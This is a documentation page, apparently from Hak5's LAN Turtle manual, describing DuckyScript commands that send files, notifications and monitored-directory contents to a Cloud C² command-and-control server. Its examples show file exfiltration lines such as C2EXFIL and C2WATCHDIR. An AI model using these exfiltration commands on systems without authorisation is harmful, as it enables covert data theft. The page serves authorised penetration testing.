> For the complete documentation index, see [llms.txt](https://documentation.hak5.org/lan-turtle-hub/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://documentation.hak5.org/lan-turtle-hub/payload-development/duckyscript-for-lan-turtle/c2.md).

# C2

The C2 set of commands allows for interaction with a configured Cloud C² server.&#x20;

## C2EXFIL

The `C2EXFIL` command sends a file to the Cloud C² server (if one is connected). This will appear on the Cloud C² dashboard.

### Options <a href="#options" id="options"></a>

`C2EXFIL` takes one or two options:

When called with a single argument, the file is sent as a binary file to the Cloud C² server:

```
C2EXFIL /tmp/some-file
C2EXFIL /usb/logs/some-file
```

When called with the `STRING` argument, the file will be sent as a text file; this will enable viewing it live via the Cloud C² interface.

```
C2EXFIL STRING /tmp/some-file.txt
C2EXFIL STRING /usb/logs/some-other-file.txt
```

## C2NOTIFY

The `C2NOTIFY` command sends a notification to the Cloud C² server (if one is connected). This will appear on the Cloud C² dashboard.

### Options <a href="#options" id="options"></a>

`C2NOTIFY` expects two options: the type of notification, and the message itself.

```
C2NOTIFY INFO some message
C2NOTIFY ERROR some more severe message
```

## C2WATCHDIR <a href="#experimenting" id="experimenting"></a>

The `C2WATCHDIR` command monitors a directory and automatically sends new files to the Cloud C² server.  These files will appear on the Cloud C² dashboard.

### Options&#x20;

`C2WATCHDIR` takes the path to the directory to be monitored.  Additionally, it can be controlled with the `C2_KEEP_FILES` variable:

```
C2WATCHDIR /usb/foo
C2_KEEP_FILES=1 C2WATCHDIR /usb/foo/
```

When `C2_KEEP_FILES` is set to `1`, `C2WATCHDIR` will leave files in the monitored directory.  If `C2_KEEP_FILES` is not set, files will be deleted once they have been uploaded to Cloud C².
